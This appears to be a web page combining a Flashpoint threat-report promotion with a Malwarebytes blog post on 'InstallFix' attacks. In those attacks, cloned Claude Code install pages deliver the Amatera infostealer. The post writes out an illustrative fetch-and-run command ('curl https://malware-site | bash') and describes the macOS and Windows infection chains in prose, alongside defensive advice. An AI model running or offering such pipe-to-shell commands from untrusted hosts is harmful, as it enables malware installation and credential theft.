Intelligence on the “Franchise Model” of Global Extortion Gain deep insight into the professionalized operations of today’s most prolific threat actors. From the industrial efficiency of RaaS groups like RansomHub and Clop to the market dominance of the next generation of infostealer malware, we break down the economics driving today’s cybercrime ecosystem.
A Blueprint for Proactive Defense and Risk Mitigation Leverage the latest trends, in-depth analysis, and data-driven insights driven by Primary Source Collection to bolster your security posture by identifying and proactively defending against rising attack vectors.
“As attackers automate exploitation of identity, vulnerabilities, and ransomware, defenders who rely on fragmented visibility will fall behind. To keep pace, organizations must ground their decisions in primary-source intelligence that is drawn from adversarial environments, so that decision-makers can get ahead of this accelerating threat cycle.”
Josh Lefkowitz, CEO & Co-Founder at Flashpoint
The Top Threats at a Glance
Our latest report identifies four driving themes shaping the 2026 threat landscape:
2026 Is the Era of Agentic-Based Cyberattacks
Flashpoint identified a 1,500% rise in AI-related illicit discussions between November and December 2025, signaling a rapid transition from criminal curiosity to the active development of malicious frameworks. Built on data pulled from criminal environments and shaped by fraud use cases, these systems scrape data, adjust messaging for specific targets, rotate infrastructure, and learn from failed attempts without the need for constant human involvement.
“2026 is the era of agentic-based cyberattacks. We’ve seen a 1,500% increase in AI-related illicit discussions in a single month, signaling increased interest in developing malicious frameworks. The discussions evolve into vibe-coded, AI-supported phishing lures, malware, and cybercrime venues. When iteration becomes cheap through automation, attackers can afford to fail repeatedly until they find a successful foothold.”
Ian Gray, Vice President of Cyber Threat Intelligence Operations at Flashpoint
Identity Is the New Exploit
Flashpoint observed over 11.1 million machines infected with infostealers in 2025, fueling a massive inventory of 3.3 billion stolen credentials and cloud tokens. The fundamental mechanics of cybercrime have shifted from breaking in to logging in, as attackers leverage stolen session cookies to behave like legitimate users.
The Patching Window Is Rapidly Closing
Vulnerability disclosures surged by 12% in 2025, with 1 in 3 (33%) vulnerabilities having publicly available exploit code. The strategic gap between discovery and weaponization is increasingly vanishing, as evidenced by mass exploitation of zero-day vulnerabilities in as little as 24 hours after discovery.
Ransomware Is Hacking the Person, Not the Code
As technical defenses against encryption harden, ransomware groups are pivoting to the path of least resistance: human trust. This approach has led to a 53% increase in ransomware, with RaaS groups being responsible for over 87% of all ransomware attacks.
Build Resilience in a Converged Landscape
The findings in the 2026 Global Threat Intelligence Report make one thing clear: incremental improvements to legacy security models are no longer sufficient. As adversaries transition to machine-speed operations, the strategic advantage shifts to organizations that can maintain visibility into the adversarial environments where these attacks are born.
Protecting organizations and communities requires an intelligence-first approach. Download Flashpoint’s 2026 Global Threat Intelligence Report to gain clarity and the data-driven insights needed to safeguard critical assets.
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
Windows and Mac
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
How to stay safe
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.